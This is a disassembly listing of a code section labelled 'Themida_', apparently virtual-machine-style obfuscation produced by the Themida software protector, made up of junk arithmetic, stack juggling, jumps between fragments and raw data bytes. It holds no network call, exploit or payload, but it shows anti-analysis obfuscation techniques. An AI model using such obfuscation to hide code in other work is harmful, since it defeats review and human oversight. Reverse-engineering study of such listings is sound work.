		mov	eax, 0BE4B7591h
		sub	eax, ecx
		pop	ecx
		shr	eax, 7
		inc	eax
		or	eax, 23F8798Dh
		sub	eax, 0D6809CF7h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 5B073AEBh
		add	ebp, ebx
		sub	ebp, 5B073AEBh
		jmp	loc_558469
; ---------------------------------------------------------------------------


loc_56035A:				; CODE XREF: Themida_:005540B9j
		pop	edx
		sub	ebx, 5F8B55ACh
		add	ebx, 0CA2EAF5h
		add	ebp, 72F01E2Fh
		add	ebp, ebx
		sub	ebp, 72F01E2Fh
		pop	ebx
		jmp	loc_561C3D
; ---------------------------------------------------------------------------


loc_56037B:				; CODE XREF: Themida_:005608D4j
		add	eax, 0B66033h
		shl	eax, 7
		xor	eax, 0D7FF9B04h
		push	edi
		mov	edi, 2E7F50C8h
		jmp	loc_560DFB
; ---------------------------------------------------------------------------


loc_560393:				; CODE XREF: Themida_:0055DD3Ej
		mov	edx, 12B586Ah
		xor	edx, 12B486Ah
		mov	eax, edx
		jmp	loc_55C8C9
; ---------------------------------------------------------------------------


loc_5603A5:				; CODE XREF: Themida_:0055D2D6j
		mov	bl, al
		mov	dh, bl
		pop	ebx
		jmp	loc_561B21
; ---------------------------------------------------------------------------
		db 89h
		dd 2BF243Ch, 1000000h, 1C335FFBh, 3C34E924h, 478F0000h
		dd 40778140h, 0D59606Dh, 0FF2434FFh, 0E9582434h, 0FFFFE7B6h
; ---------------------------------------------------------------------------


loc_5603D8:				; CODE XREF: Themida_:005656FCj
		mov	eax, 2A0B5402h
		add	edx, eax
		pop	eax
		add	edx, eax
		sub	edx, 2A0B5402h
		jmp	loc_55475A
; ---------------------------------------------------------------------------
		db 1, 0C2h, 58h
a_bPagSus	db '_│б╞ag~ИuS',0
		align 4


loc_5603FC:				; CODE XREF: Themida_:005651F5j
		mov	ecx, 24h
		sub	ecx, 22B4302Bh
		add	ecx, 20517D7Ah
		add	ecx, edi
		sub	ecx, 20517D7Ah
		push	ebx
		jmp	loc_5565DC
; ---------------------------------------------------------------------------


loc_56041B:				; CODE XREF: Themida_:00558FD9j
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_55C15B
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0BB532414h, 1C85394Fh, 2414F753h, 81DBF75Bh,	0A572F7E3h
		dd 81E3D160h, 0F59F64C3h, 0EC77E9FEh, 0EC81FFFFh, 4, 0E9242C89h
		dd 0FFFF991Ah, 5206E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56045E:				; CODE XREF: Themida_:00554130j
		and	esi, 6D157DCAh
		jmp	loc_55A51B
; ---------------------------------------------------------------------------
		db 0B9h, 48h, 36h
		dd 23E90FDAh, 4000017h,	2CE8283Dh, 0E951663Dh, 0FFFF84B6h
		dd 6313E681h, 834602A6h, 2C8904ECh, 37CCBD24h, 0EE012F07h
		dd 4B1BE9h
		db 0
; ---------------------------------------------------------------------------


loc_560499:				; CODE XREF: Themida_:00564AF6j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	1A3Fh
		mov	[esp], ebx
		push	ecx
		mov	ecx, 0E6B4256h
		sub	ecx, 21F041Eh
		jmp	loc_564713
; ---------------------------------------------------------------------------


loc_5604BB:				; CODE XREF: Themida_:005616B5j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55793B
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF0D0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5604D1:				; CODE XREF: Themida_:005543A5j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_555540
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C8700h, 7F9A685Ch, 0C890000h
		dd 2B924h, 0CF010000h, 74FF5759h, 0BFE90424h, 0BA00004Ah
		dd 4, 1790C681h, 0D6013D45h, 1790EE81h,	148B3D45h, 4C48324h
		dd 38DD68h, 24348900h, 0FF3423E9h, 5BDF29FFh, 0E92434FFh
		dd 0FFFF3554h, 48BE300h, 4C48324h, 8124048Bh, 4C4h, 80C32800h
		dd 0B60FB5C3h, 87048FC0h, 0FFA996E9h, 0F6E581FFh, 81213979h
		dd 475C79EDh, 4EDC163h,	5111C581h, 0F5814F5Ah, 0B299BD6h
		dd 0FFBAF9E9h, 8FE95BFFh, 41FFFF87h, 0FF67D3E9h, 4C481FFh
		dd 5000000h, 523D06F4h,	8904EC83h, 0EC83241Ch, 24348904h
		dd 8904EC83h, 7EE9243Ch
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605AB:				; CODE XREF: Themida_:005513CAj
		and	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5563BA
; ---------------------------------------------------------------------------


loc_5605C7:				; CODE XREF: Themida_:00557A14j
		mov	esi, esp
		jmp	loc_555755
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 179F504Ah, 0FF303AE9h, 6E18BBFFh, 0A8E94979h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605E3:				; CODE XREF: Themida_:0055D9EFj
		push	edx
		push	esi
		mov	esi, 758E59A6h
		neg	esi
		xor	esi, 0D0409755h
		jmp	loc_559CE0
; ---------------------------------------------------------------------------


loc_5605F7:				; CODE XREF: Themida_:00550C6Cj
		add	esi, 4
		push	297Ch
		jmp	loc_560FA7
; ---------------------------------------------------------------------------


loc_560607:				; CODE XREF: Themida_:0055D8C0j
		mov	eax, ecx
		pop	ecx
		jmp	loc_55F6BE
; ---------------------------------------------------------------------------
		db 5
aLSlw		db 'рL[-)ьИLW',0
		dw 0BF00h
		dd 1E837188h, 0FF2C9AE9h, 0DBE950FFh, 58FFFFC4h, 2474FF53h
		dd 89E95B04h, 89000009h, 8157241Ch, 4ECh, 243C8900h, 444168h
		dd 24248900h, 4240481h,	5F000000h, 22D2BE56h, 4E4E55AFh
		dd 0BB53D6F7h, 0AA50DD2Bh, 15BDE29h, 24348BF7h,	8304C483h
		dd 0E95704EFh, 0FFFF7D4Eh, 0D0E95D58h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56067F:				; CODE XREF: Themida_:00558096j
		mov	ebp, 3B462A04h
		mov	edx, 66F275E2h
		sub	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 1A183252h
		jmp	loc_5588B2
; ---------------------------------------------------------------------------
		db 89h
		dd 0C7815AD5h, 2E4D40D1h, 0EF81EF01h, 2E4D40D1h, 5D2434FFh
		dd 4C481h, 3C330000h, 20F6E924h, 0EF810000h, 71053D42h
		dd 0FE0DEF81h, 0E916E9h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5606CB:				; CODE XREF: Themida_:005646F0j
		add	ebp, 6679F4F9h
		sub	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_563483
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 54512404h, 496EE9h, 62ED8000h, 0C8BEE88h
		dd 4C48124h, 52000000h,	0F30055B6h, 0FFDEACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560701:				; CODE XREF: Themida_:0055FCC1j
		mov	esi, 3B9C27B6h
		and	ecx, esi
		jmp	loc_5646A0
; ---------------------------------------------------------------------------
		db 5Bh,	35h, 0CDh
		dd 5619AF43h, 3A4B21BEh, 81464E32h, 6840FCEEh, 5EF001CEh
		dd 14120705h, 0E9C72977h, 0FFFFDAC5h
; ---------------------------------------------------------------------------


loc_560730:				; CODE XREF: Themida_:005596DDj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_555214
; ---------------------------------------------------------------------------
		dd 4C481h, 0DFF70000h, 9E85F781h, 0EE818CB9h, 6B4B4059h
		dd 0C681FE01h, 6B4B4059h, 4EC815Fh, 89000000h, 0A4E92414h
		dd 81FFFFFDh, 0A11775EFh, 82E95E50h, 89FFFFC4h,	34E9240Ch
		dd 81FFFF02h, 70AC72EAh, 5AD589D0h, 5969ED81h, 0E5C177A6h
		dd 2EDC103h, 5ED68h, 24348900h,	0FCCBE951h, 295AFFFFh
		dd 1CC681D6h, 5A450277h, 6E4EB951h, 0C681368Dh,	0DC45371h
		dd 4FE9CE01h, 5A000044h, 0FF13F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5607C1:				; CODE XREF: Themida_:00552707j
		add	edx, 4
		jmp	loc_55C1D1
; ---------------------------------------------------------------------------
		dd 4BEh, 8BF00100h, 0C4812434h,	4, 8B240487h, 0B2E92424h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5607E7:				; CODE XREF: Themida_:0055D0FCj
		pop	eax
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1AFB67E3h
		push	edx
		mov	edx, 2BCA65A9h
		dec	edx
		dec	edx
		add	edx, 536E4D63h
		jmp	loc_55E4ED
; ---------------------------------------------------------------------------


loc_560807:				; CODE XREF: Themida_:00551A00j
		mov	esp, [esp]
		jmp	loc_559CBA
; ---------------------------------------------------------------------------
byte_56080F	db 66h			; DATA XREF: Themida_:00550818o
		dd 6824048Bh, 12F7h, 54243C89h,	0E9243C8Bh, 0FFFFB738h
		dd 3BAE951h, 0EA810000h, 3BC5E7Ch, 0FF6F9EE9h, 3801BBFFh
		dd 6CE90A34h, 81FFFF69h, 4ECh, 24148900h, 0E957E289h, 0FFFFAA13h
		dd 55241489h, 4C5883BDh, 9CFEE94Bh, 0B468FFFFh,	89000033h
		dd 9BBA2414h, 81486A4Ch, 0D13CA4E2h, 0EDD1E976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560876:				; CODE XREF: Themida_:0055C173j
		pop	eax
		jmp	loc_564186
; ---------------------------------------------------------------------------
		dd 4B8h, 8BC30100h, 0C4812404h,	4, 0E9241C87h, 133Ah
; ---------------------------------------------------------------------------


loc_560894:				; CODE XREF: Themida_:005573F0j
		mov	ebp, 6434899h
		push	56ABh
		mov	[esp], ecx
		mov	ecx, 495F7C41h
		add	ecx, 64E502D9h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 1BF21E0h
		or	ebp, ecx
		pop	ecx
		not	ebp
		push	edx
		mov	edx, 907B5BCAh
		sub	ebp, 3E557E46h
		sub	ebp, edx
		add	ebp, 3E557E46h
		pop	edx
		add	eax, ebp
		pop	ebp
		jmp	loc_56037B
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0E1h
		dd 892C8F17h, 81585BDDh, 30207AC3h, 2CAE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5608EE:				; CODE XREF: Themida_:00561275j
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 2C890726h
		xor	[esp+4], edx
		pop	edx
		pop	esi
		xor	esi, 2C890726h
		pop	edi
		jmp	loc_55F504
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC832404h, 24248904h, 4240481h, 0E9000000h
		dd 0FFFF73F0h, 0F381D3F7h, 0ACB8272h, 1C8BDE01h, 4EC8324h
		dd 89241489h, 4C281E2h,	83000000h, 148704C2h, 0F0E95C24h
		dd 5DFFFFE7h, 57F868h, 24348900h, 8F5E8F68h, 24348B46h
		dd 4C481h, 0BF570000h, 0C88153DFh, 705DEE81h, 0C6815D24h
		dd 7CFD4F5Dh, 1F2FEE81h, 0FE012427h, 0FFB2F0E9h, 51B850FFh
		dd 297AE575h, 0F088E9C7h, 0B468FFFFh, 8900002Fh, 0CE68240Ch
		dd 0E9000052h, 0FFFF7B40h, 240C8966h, 0EF2812B5h, 0B0E95966h
		dd 0F7FFFF37h, 68D2h, 2C810000h, 0DF0ACB24h, 3CBE5635h
		dd 0E91D997Ah, 0FFFFC959h, 8704C583h, 248B242Ch, 40524h
		dd 2050000h, 33000000h,	4312404h, 24043324h, 4868665Ch
		dd 19BFE97Eh, 0DAF70000h, 75A4F281h, 0D629188Fh, 0FFFD9DE9h
		dd 6BF968FFh, 0FAE90000h
		db 0F0h, 2 dup(0FFh)
byte_560A0B	db 66h			; DATA XREF: Themida_:00550828o
		dd 83240C8Bh, 7BE904ECh, 55FFFFF2h, 83393B68h, 0F5815D39h
		dd 7C175A7Bh, 835DEF89h, 0F781FFEFh, 45946345h,	1ADFE981h
		dd 0F901055Ah, 0FF6422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560A3D:				; CODE XREF: Themida_:00556093j
		sub	edx, ecx
		add	edx, 690822D4h
		pop	ecx
		jmp	loc_5558AC
; ---------------------------------------------------------------------------


loc_560A4B:				; CODE XREF: Themida_:00554150j
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_55C24B
; ---------------------------------------------------------------------------
		dw 6852h
		dd 4B4h, 81242489h, 42404h, 34FF0000h, 24148B24h, 8104C483h
		dd 4C4h, 4EC8100h, 89000000h, 4BD242Ch,	0E9000000h, 0FFFF5FDCh
		dd 2811F781h, 0EF8134FAh, 4E8BAB85h, 0FF0B68E9h, 80CA00FFh
		dd 8B59CDC2h, 0C483241Ch, 0F6EA8604h, 80EA86D5h, 0EC8173C2h
		dd 4, 0B7241C89h, 0E9CFFEABh, 3B82h, 0E92414F7h, 0FFFF28A2h
		dd 138EBB53h, 91E93608h, 8FFFFF38h, 248B2404h, 24048924h
		dd 8904EC83h, 6DB9240Ch, 0E90D5960h, 0FFFF66D0h, 0C9685255h
		dd 8B088A33h, 0C4832414h, 0C1E28104h, 81224F45h, 9E716ACAh
		dd 0D91AE918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B0E:				; CODE XREF: Themida_:0055BE61j
		xor	ecx, 0B84574CFh
		sub	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	210Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55542A
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0C2830000h, 24148704h, 42E9535Ch, 0F700004Ch
		dd 0C9A3E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B4A:				; CODE XREF: Themida_:00557022j
		mov	dx, [esp]
		push	ecx
		push	esp
		jmp	loc_554912
; ---------------------------------------------------------------------------


loc_560B55:				; CODE XREF: Themida_:0055E5CDj
		mov	edi, 31BD22ABh
		push	edx
		mov	edx, 0DEA2CA3h
		sub	edi, edx
		pop	edx
		inc	edi
		and	edi, 36D8152Ah
		jmp	loc_55E317
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9CF89E9h, 0FFFF49A9h, 8105E5C1h, 921F4BF5h, 5DEA317Ch
		dd 15AD601h, 0C0835EF0h, 24048704h, 0FF8EECE9h,	5C97B9FFh
		dd 0D1312CE5h, 8B5DE95Ah, 248BFFFFh, 2424D324h,	0FE01E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_560BAE:				; CODE XREF: Themida_:00559C81j
		neg	byte ptr [esp+1]
		pop	ecx
		jmp	loc_556219
; ---------------------------------------------------------------------------
		dd 0C68EB29h, 0E900007Ch, 0FFFF2BDEh, 4E4B850h,	0C5015253h
		dd 0BA524D58h, 24B5753Ah, 0FAE9D509h, 5A000033h, 0E92AEA80h
		dd 0FFFFD02Ch, 0C181E189h, 4, 0FF0818E9h, 240C8BFFh, 6804C483h
		dd 15DDh, 0E9241C89h, 0FFFFC344h, 0B551A6B5h, 212DE90Dh
		dd 15AFFFFh, 2434FFF0h,	5E2434FFh, 0FF701EE9h, 24048BFFh
		dd 0FF4D1CE9h, 2C3366FFh, 2C316624h, 649BE924h,	0C301FFFFh
		dd 23E95058h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_560C3B:				; CODE XREF: Themida_:005639CDj
		push	0D62h
		mov	[esp], ebx
		mov	bx, 3BEFh
		mov	dx, bx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dx, 2459h
		and	dx, 7477h
		xor	dx, 3C4Eh
		mov	ax, dx
		pop	edx
		or	ax, 7F19h
		neg	ax
		jmp	loc_55144F
; ---------------------------------------------------------------------------
		dd 0E95AD301h, 0FFFFF8B9h, 0E924148Bh, 12E5h, 8B24048Fh
		dd 0FB682424h, 89000051h, 5D68240Ch, 8900000Dh,	8851241Ch
		dd 0D087E9D5h, 0A104FFFFh, 16EAE9h, 240C3100h, 1294E9h
		dd 4C48300h, 1A86E9h
		db 0
; ---------------------------------------------------------------------------


loc_560CB5:				; CODE XREF: Themida_:0055C786j
		push	edx
		mov	edx, 4E9D79A3h
		and	ebp, edx
		pop	edx
		inc	ebp
		shr	ebp, 2
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4279304Ah
		sub	edx, 0FCA8CB33h
		and	ebp, edx
		pop	edx
		sub	ebp, 4E3D0774h
		sub	ebp, 0B3433888h
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_562FB5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFF82159h, 815F2434h, 4C4h,	0FC00900h, 0FFA63684h
		dd 0E38953FFh, 0FF5B21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560D11:				; CODE XREF: Themida_:0055B2E4j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55C0B2
; ---------------------------------------------------------------------------


loc_560D29:				; CODE XREF: Themida_:0055F1C1j
		pop	ebp
		jmp	loc_553461
; ---------------------------------------------------------------------------
		db 83h
		dd 8F5404ECh, 0B0E92404h, 89FFFF67h, 74FF243Ch,	0E95F0424h
		dd 0FFFFFF38h, 582434FFh, 4C481h, 0EC810000h, 4, 35E3E9h
		dd 0C6E28100h, 5113D171h, 816BE4B9h, 0E9CA0116h, 0FFFFBFEDh
		dd 0E9240C8Bh, 1D64h, 0E9515E54h, 0FFFF97C0h, 2474FF50h
		dd 2434FF04h, 0FF5C61E9h, 0C1E181FFh, 810A4B6Bh, 5A9444F1h
		dd 774EE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D9E:				; CODE XREF: Themida_:0055127Cj
		mov	ebx, 53635477h
		mov	eax, 0C4D4CAC6h
		xor	eax, ebx
		pop	ebx
		add	esi, eax
		pop	eax
		jmp	loc_563D53
; ---------------------------------------------------------------------------
		db 40h
		dd 0E907E8C1h, 0FFFFA150h, 2D37F381h, 0BF57084Eh, 0DC93DFFFh
		dd 0E95FFB01h, 0FFFF6077h, 4C481h, 0E9560000h, 0FFFF0215h
		dd 2B8h, 0BDC28100h, 12F7A2Fh, 73A968C2h, 4890000h, 32BBB824h
		dd 0BFE96989h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560DFB:				; CODE XREF: Themida_:0056038Ej
		add	edi, 43921E41h
		sub	edi, 6109354Dh
		jmp	loc_55D49A
; ---------------------------------------------------------------------------
		dd 1877B951h, 0E941206Bh, 0FFFF07A9h, 5104C483h, 0FF0F63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E21:				; CODE XREF: Themida_:005544EEj
		push	ecx
		mov	ecx, 4
		sub	dword ptr [esp+4], 40C73CB5h
		add	[esp+4], ecx
		push	edi
		mov	edi, 40C73CB5h
		add	[esp+8], edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_560E49:				; CODE XREF: Themida_:0056184Bj
		pop	ebp
		push	ebp
		push	1EB255A9h
		pop	ebp
		add	ebp, 1C5D1B0Ch
		add	ebx, 6130438Ah
		add	ebx, ebp
		sub	ebx, 6130438Ah
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56371A
; ---------------------------------------------------------------------------


loc_560E80:				; CODE XREF: Themida_:00552922j
		pop	ebp
		push	ebp
		mov	ebp, 561F7B6Eh
		dec	ebp
		jmp	loc_5534FA
; ---------------------------------------------------------------------------


loc_560E8D:				; CODE XREF: Themida_:00559FEBj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_561184
; ---------------------------------------------------------------------------


loc_560E96:				; CODE XREF: Themida_:00551EC2j
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559FF0
; ---------------------------------------------------------------------------


loc_560EA9:				; CODE XREF: Themida_:0055C2D9j
		shl	ebp, 7
		or	ebp, 48B17621h
		not	ebp
		or	ebp, 758A4F58h
		dec	ebp
		add	ebp, 0A31B0A7h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		jmp	loc_563B2A
; ---------------------------------------------------------------------------
		db 0B3h
		dd 66DD284Fh, 2032E95Bh, 0C7FEFFFFh, 8073C780h,	93B473C7h
		dd 205BFC00h, 686658E6h, 8966707Fh, 0BB7241Ch, 0EEE9FE08h
		dd 100000Dh, 0E9C581C5h, 584A1436h, 3E6FE9h, 4C18100h
		dd 83000000h, 0FEE904C1h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560F17:				; CODE XREF: Themida_:0055FA53j
		pop	ebp
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_555A34
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0E7h
		dd 52FFFFCBh, 700F93BAh, 71C28169h, 83968FF0h, 2C8904ECh
		dd 895D5224h, 0A4E95DEFh, 57000043h, 4BFh, 5FFE0100h, 5C243487h
		dd 0FE025D35h, 30FF667Eh, 0FEFA52E9h, 4EC83FFh,	0BF243C89h
		dd 4, 0C5E9FD29h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F6F:				; CODE XREF: Themida_:00562605j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	5190h
		jmp	loc_55D749
; ---------------------------------------------------------------------------


loc_560F85:				; CODE XREF: Themida_:00552F94j
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_551A13
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 0FFD9B6E9h, 392AB9FFh, 0F2E93EA8h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FA7:				; CODE XREF: Themida_:00560602j
		mov	[esp], ecx
		push	66Ah
		mov	[esp], ebx
		jmp	loc_562A76
; ---------------------------------------------------------------------------
aZiSgc		db 'Z┴Й]И┐C',0
		align 10h
		dd 8B24048Fh, 89562424h, 0B0CFE9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FCE:				; CODE XREF: Themida_:00551D03j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_551EBD
; ---------------------------------------------------------------------------


loc_560FDC:				; CODE XREF: Themida_:00554DCBj
		add	ebx, 4
		add	ebx, 4
		push	54F9h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	41234B9Ah
		jmp	loc_55B0D0
; ---------------------------------------------------------------------------
		dd 682391B9h, 0F6E1815Fh, 813C2D3Ah, 0BA0124C1h, 0DEE9817Ch
		dd 8970DF0Eh, 0EAC159CAh, 0F7DAF705h, 397E9D2h,	7C050000h
		dd 5A35F960h, 3F8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_561051:				; CODE XREF: Themida_:0055670Cj
		sub	ebx, edi
		jmp	loc_55C3D2
; ---------------------------------------------------------------------------
		dd 0FEF952E9h, 8604B1FFh, 14C6E9D9h, 0C5810000h, 0A7030E0h
		dd 0ABB2ED81h, 95E950B9h, 5DFFFFA0h, 38E68h, 24348900h
		dd 0F1895E53h, 0E1C15B5Eh, 3E9C107h, 68h, 3425E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561096:				; CODE XREF: Themida_:00554532j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1B7003BDh
		push	2687h
		mov	[esp], esi
		mov	esi, 35B4295Ah
		jmp	loc_564AA8
; ---------------------------------------------------------------------------


loc_5610B3:				; CODE XREF: Themida_:00555049j
		push	ebp
		push	eax
		mov	eax, 31538D4h
		mov	ebp, 2B5C930h
		add	ebp, eax
		pop	eax
		jmp	loc_557641
; ---------------------------------------------------------------------------
		db 68h
		dd 869h, 89240489h, 405E0h, 0BA520000h,	17432E30h, 6BF4BB53h
		dd 0DFE9304Fh
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610E7:				; CODE XREF: Themida_:005641FEj
		push	ecx
		mov	ecx, 697700A5h
		shl	ecx, 5
		neg	ecx
		xor	ecx, 7B7F578Eh
		xor	ecx, 0FA4FA1B8h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5619E2
; ---------------------------------------------------------------------------
		dd offset dword_59C800
aHh6		db 'ь,(hh6',0
		align 2
		dw 1C89h
		dd 0EFF1E924h, 0FDBDFFFFh, 0E9308A11h, 1130h
dword_561124	dd 62A768h, 242C8900h, 168h, 475FE900h ; DATA XREF: Themida_:005508A0o
		db 2 dup(0)
word_561136	dw 77FFh		; DATA XREF: Themida_:00550720o
		dd 59669D1Ch, 241CD366h, 0F869E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561146:				; CODE XREF: Themida_:00559CEDj
		dec	edx
		shl	edx, 3
		sub	edx, 60040802h
		jmp	loc_559CAA
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C4h
		dd 5A545204h, 4EC81h, 4890000h,	7D5CB824h, 0E0C13431h
		dd 5E0C104h, 0FFC891E9h, 5FF829FFh, 3542EB81h, 0E9526935h
		dd 0FFFF3795h
; ---------------------------------------------------------------------------


loc_561184:				; CODE XREF: Themida_:00560E91j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5625E6
; ---------------------------------------------------------------------------
		dd 0C0B60F59h, 0FFDD87E9h, 9EEB81FFh, 0E907FB0Ch, 0FFFF4D26h
		dd 2424D366h, 6AC8E99Ch, 0F380FFFFh, 2EBC0BFh, 0FF8C90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5611CD:				; CODE XREF: Themida_:0055DA80j
		mov	edi, [esp]
		add	esp, 4
		push	7B92h
		mov	[esp], ebx
		push	4707h
		mov	[esp], esi
		mov	esi, 800h
		sub	esp, 4
		jmp	loc_555C02
; ---------------------------------------------------------------------------
		db 81h
		dd 0B8042444h, 0E955166Fh, 4A3Bh, 148BF428h, 4C48324h
		dd 40E95066h, 1FFFF31h,	0F551E9F7h, 0E940FFFFh,	0FFFFC566h
		dd 44EA815Ah, 0E94A5E1Eh, 0FFFF77FCh, 31241C33h, 86E9241Ch
		dd 2900003Bh, 0BCEE81DEh, 0FF57D518h, 835B2434h, 0C68104C4h
		dd 902D2Dh, 7351E681h, 0E7E97389h
		db 1Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561253:				; CODE XREF: Themida_:0055F34Fj
		mov	edi, 114F761Dh
		xor	esi, edi
		pop	edi
		mov	ebx, esi
		pop	esi
		jmp	loc_5517EF
; ---------------------------------------------------------------------------


loc_561263:				; CODE XREF: Themida_:00550B86j
		sub	esp, 4
		mov	[esp], esi
		push	6A63h
		mov	[esp], edi
		push	eax
		jmp	loc_5608EE
; ---------------------------------------------------------------------------
		dw 69BDh
		dd 8155F95Ah, 0C11B00E5h, 20ED812Fh, 8101DF36h,	0F2DE69F5h
		dd 5DE8293Dh, 81E9515Bh, 5AFFFF66h, 4EC81h, 0C890000h
		dd 46824h, 0C8B0000h, 0B5A0E924h, 0F381FFFFh, 790F78CBh
		dd 18B2EF81h, 86E92957h, 8FFFFEFDh, 0BE562404h,	4, 4246C81h
		dd 271D6263h, 8904EC83h, 6CE92414h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5612DF:				; CODE XREF: Themida_:0055A0F8j
		pop	edx
		jmp	loc_55A5C0
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0C4830000h, 0E9D63104h, 0FFFF09BEh, 8BF3015Dh
		dd 89562434h, 4C681E6h,	83000000h, 348704C6h, 0FF535C24h
		dd 0E9042474h, 0FFFF3BBFh
dword_561318	dd 81D830ACh, 2ECh, 1C896600h, 78E4E924h, 0E957FFFFh, 3ACAh
					; DATA XREF: Themida_:005507C4o
		dd 24048F54h, 4BE56h, 74010000h, 595E0424h, 0FF57C1E9h
		dd 709FBEFFh, 0F5890569h, 772E95Eh, 0EF810000h,	16AE16Ch
		dd 575FF801h, 38BF5752h, 0C163F845h, 0E7C106EFh, 74F78106h
		dd 89757240h, 5F525FFAh, 0FF4EB8E9h, 0F631E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56137E:				; CODE XREF: Themida_:0055C587j
		sub	ax, 0FFFFh
		shr	ax, 3
		push	ebx
		mov	bx, 16CFh
		shr	bx, 7
		or	bx, 0FC6h
		jmp	loc_55AD5B
; ---------------------------------------------------------------------------


loc_561399:				; CODE XREF: Themida_:00556744j
		mov	ebx, 45E07EC7h
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 101B2F7Eh
		jmp	loc_552F88
